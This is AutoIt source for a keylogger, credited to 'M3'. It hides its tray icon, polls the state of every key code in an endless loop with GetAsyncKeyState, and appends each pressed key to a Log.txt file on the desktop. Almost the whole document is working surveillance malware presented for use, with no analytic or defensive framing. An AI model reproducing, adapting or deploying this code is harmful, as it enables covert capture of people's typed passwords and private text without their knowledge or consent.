#NotrayIcon
#include <WinAPI.au3>
;==============================
; AutoIt
; Autor : M3
; Simple KeyLoguer Function
;==============================

sGetKey()

Func sGetKey()

While 1

Local  $sKey, $Result , $Log

For $sKey = 1 To 255

$Result = _WinAPI_GetAsyncKeyState($sKey)

If $Result = -32767 then

$Result = Chr($sKey)

$Log = FileOpen(@DesktopDir & "\Log.txt", 1)

FileWrite($Log, $Result)

FileClose($Log)

EndIf

Next

WEnd

Endfunc